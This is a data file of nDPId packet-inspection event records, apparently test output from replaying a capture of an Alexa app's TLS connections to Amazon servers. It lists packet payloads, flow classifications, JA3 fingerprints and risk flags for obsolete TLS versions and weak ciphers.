+00740{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":595184,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEX07tAAEAGclisECrYNF7ohrJtAbvCg5wMD9ZxDlAYAVcZ4AAAFgMBAOoBAADmAwMbir\/VgnkPVKkE\/Xu6XjUcyinI0jcCde8BTkIAsu8XPyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgGhrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9uroAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACIqKAB0AFwAY2toAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":479,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":48,"flow_packet_id":4,"flow_first_seen":1490976044502,"flow_last_seen":1490976044595,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45677,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00739{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":595782,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXdBJAAEAG0gGsECrYNF7ohrJuAbv0jjuju8rxnFAYAVf+XwAAFgMBAOoBAADmAwMrTrxt6fXaVT85w7y\/oBbFpkU1n1V7egWaCm1h86YfdiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgKirMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9uroAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACEpKAB0AFwAYamoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":480,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":49,"flow_packet_id":4,"flow_first_seen":1490976044509,"flow_last_seen":1490976044595,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45678,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00738{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":596868,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXpBRAAEAGof+sECrYNF7ohrJvAbuLWOunprYg71AYAVeiCQAAFgMBAOoBAADmAwPd1iOBKblgnVQxNgabPGiTNhU8S0+QlhDIurluRG6LLSCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAg2trMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9KioAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACNraAB0AFwAYiooAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":481,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":50,"flow_packet_id":4,"flow_first_seen":1490976044521,"flow_last_seen":1490976044596,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45679,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00694{"flow_id":43,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":649888,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"AMDKkaPvePiC0\/vCCABFAAD1byFAAEAG3VysECrYSBXOh6SSAbsCViBxEm5sr1AYAVf8bgAAFgMBAMgBAADEAwOSNimGSrtikrr4BiDGBJaapUtZMMHJl95wUbRDfz5SFQAAIJqazKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAeyoqAAD\/AQABAAAAABYAFAAAEWZscy1uYS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIOjoAHQAXABiKigABAA=="} +00445{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":679697,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WzRAAEAGfuWsECrYCsl+8Z0KH5BhrRWqAAAAAKAC\/\/9isAAAAgQFtAQCCAoA9k\/EAAAAAAEDAwg="} +00534{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":687016,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9Mc5AAOcGbd80XuiGrBAq2AG7sm0P1nEOwoOc+1AYf\/iD+AAAFgMBAEoCAABGAwFY3n0svZffnx292YM8BnDkyDMEgFU6ZUM30vCin0OQyyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":486,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":48,"flow_packet_id":5,"flow_first_seen":1490976044502,"flow_last_seen":1490976044687,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45677,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00489{"flow_id":48,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":687134,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdMdhAAOcGbfU0XuiGrBAq2AG7sm0P1nFjwoOc+1AYf\/i8uQAAFgMBADAjXdzGD8p9YnQldHh9YxALXWAXwN1X3Cmt0G+oL1RCiXl9rY9v1aF9RuFZZWwMLZo="} +00423{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":687177,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo9upAAOcGqRc0XuiGrBAq2AG7smyRBTVdVCNYdVAQf\/gU7AAAAAAAAAAA"} +00534{"flow_id":47,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":687209,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB99uxAAOcGqMA0XuiGrBAq2AG7smyRBTVdVCNYdVAYf\/iJZgAAFgMBAEoCAABGAwFY3n0sVJwAfa+qP+pSlcjK0QgKsfteydM32nitjujcFSCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":489,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":47,"flow_packet_id":6,"flow_first_seen":1490976044488,"flow_last_seen":1490976044687,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45676,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00490{"flow_id":47,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":687243,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABd9vNAAOcGqNk0XuiGrBAq2AG7smyRBTWyVCNYdVAYf\/gbZAAAFgMBADA31L1CpuSX9tvoBVAXj3uLQtt2VG0MIpbTs\/buU9YZgPAOSIfvD1zRD+pCLCOtz2U="} +00534{"flow_id":50,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":687345,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9LZ9AAOcGcg40XuiGrBAq2AG7sm+mtiDvi1jsllAYf\/i0FAAAFgMBAEoCAABGAwFY3n0sREHukAACBv+MMlmfhll64s8dZ38b+V21ucVGlyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":491,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":50,"flow_packet_id":5,"flow_first_seen":1490976044521,"flow_last_seen":1490976044687,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45679,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00489{"flow_id":50,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":687474,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdLaVAAOcGcig0XuiGrBAq2AG7sm+mtiFEi1jsllAYf\/i3vwAAFgMBADCHc5j7nnRvQUlwwt7OEPWVsuRdvVFekiQ9SdJ8bXwjg8Akhsvu1Z2MXY6j060G5Yc="} +00423{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":687923,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAov01AAOcG4LQ0XuiGrBAq2AG7sm67yvGc9I48klAQf\/ipXAAAAAAAAAAA"} +00534{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":687978,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9v1RAAOcG4Fg0XuiGrBAq2AG7sm67yvGc9I48klAYf\/hhGwAAFgMBAEoCAABGAwFY3n0s7cPTzU4hNB9icb7jbExZLZvgvDr5J+5XL+M+HiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":495,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":49,"flow_packet_id":6,"flow_first_seen":1490976044509,"flow_last_seen":1490976044687,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45678,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00414{"flow_id":48,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":690858,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo07xAAEAGc0asECrYNF7ohrJtAbvCg5z7D9ZxY1AQAVclzwAA"} +00414{"flow_id":48,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":691135,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo071AAEAGc0WsECrYNF7ohrJtAbvCg5z7D9ZxmFAQAVclmgAA"} +00497{"flow_id":48,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":691266,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABj075AAEAGcwmsECrYNF7ohrJtAbvCg5z7D9ZxmFAYAVfKLQAAFAMBAAEBFgMBADDUJkMOPMfhB4anjuCQG2H2kK8Z2iKH2qchiPRHNBXVdsy\/2Or2nf4s8tk0u80fjyA="} +00414{"flow_id":47,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":698242,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoGDhAAEAGLsusECrYNF7ohrJsAbtUI1h1kQU1slAQAVeTOAAA"} +00414{"flow_id":47,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":698531,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoGDlAAEAGLsqsECrYNF7ohrJsAbtUI1h1kQU151AQAVeTAwAA"} +00414{"flow_id":50,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":698656,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAopBVAAEAGou2sECrYNF7ohrJvAbuLWOyWprYhRFAQAVfGmwAA"} +00414{"flow_id":50,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":698776,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAopBZAAEAGouysECrYNF7ohrJvAbuLWOyWprYheVAQAVfGZgAA"} +00414{"flow_id":49,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":698894,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAodBNAAEAG0u+sECrYNF7ohrJuAbv0jjySu8rx8VAQAVcnqQAA"} +00490{"flow_id":49,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":701650,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdv3dAAOcG4FU0XuiGrBAq2AG7sm67yvHx9I48klAYf\/jWngAAFgMBADBTp7Jz9aMgr18NISt5SXxBTCekZTH4e8bPNl4lMMs7RvTI1v\/zaExyrU5p03BUy4U="} +00414{"flow_id":49,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":702650,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAodBRAAEAG0u6sECrYNF7ohrJuAbv0jjySu8ryJlAQAVcndAAA"} +00497{"flow_id":47,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":703375,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjGDpAAEAGLo6sECrYNF7ohrJsAbtUI1h1kQU151AYAVfQegAAFAMBAAEBFgMBADCQgznHY7nFQX7otVB6kk0KE6rz1+zQEUjbuqheFQqEzEpu1sNkZv+vVGnOmjPkT40="} +00422{"flow_id":43,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":704703,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo2odAANwG1sJIFc6HrBAq2AG7pJISbmyvAlYhPlAQASx4JAAAAAAAAAAA"} +02377{"flow_id":43,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":708534,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc2ohAANwG0Q1IFc6HrBAq2AG7pJISbmyvAlYhPlAQASw0jgAAFgMDAGwCAABoAwP825uGtzUZToKKiBA9Kqd+TCLrKJmxGW2opuNLjegL2SCAoIhp+G+13yEt\/a9wFbgYbBGSpt6bYu8wE9XD904628AvAAAg\/wEAAQAACwAEAwABAgAFAAAAEAALAAkIaHR0cC8xLjEWAwMLbwsAC2sAC2gABiYwggYiMIIFCqADAgECAhAjXKYxTs1ErLy+l509p0IQMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTA3MDAwMDAwWhcNMTgwMTMwMjM1OTU5WjBrMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEaMBgGA1UEAwwRZmxzLW5hLmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCiX1uuFeHp7s\/u9RJVeIg7pSJGX42DFxgePcypEXRXU1o3cArZybBO2C5Lpg6GM3f45K4KToO0khIXQJB7mXH4bbbQ3+YNFdt7793pBUrodbhy1vNPfwwdBaxsqZ6o5AMBkbpsaSUOdcoTvF9z7DiYKtABRBdPFplNooNjVCUNw9hfksqkbBfzmRXOVJUe6FB2TYGtc1mXHHxQSxvyBoGKYrbiWmhKRKN2oU7shNkGGr+2AY1qqKK5nRLcdy57snSkPzc1VrU7kChpo1TaC6Boi5W9qzCYG13onxMu6WbKte80fZF9+vPs9N9E66H+HyD7t7ZkEmtZMIt4ZpLRyDj9AgMBAAGjggKtMIICqTBaBgNVHREEUzBRghBmbHMtbmEuYW1hem9uLmNhghFmbHMtbmEuYW1hem9uLmNvbYIUZmxzLW5hLmFtYXpvbi5jb20uYnKCFGZscy1uYS5hbWF6b24uY29tLm14MAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHSAEWjBYMFYGBmeBDAECAjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZDBdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFZeQ7n1QAABAMARzBFAiEAyqHpuySuZQoGcM+I+Z0wX00rBtbjPPh\/qzCzZAyUhAoCIAhBWQVD0U3G8MO5dyAwrlvYf2mmJVOHUcCx971NZg0sAHcA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFZeQ7oJwAABAMASDBGAiEA\/RAOoLROyik62vKihf3Zx1TBs1KxISOTjmjnjZrbf64CIQDPCRXOcglmhnaH9koY+cdNR\/1ozx5g78hwrDg9pc0RtzANBgkqhkiG9w0BAQsFAAOCAQEAoKU0Dbk5SCaAT6\/D0vE="} +00791{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":511,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":43,"flow_packet_id":9,"flow_first_seen":1490976043814,"flow_last_seen":1490976044708,"flow_tot_l4_data_len":2283,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":253,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42130,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} 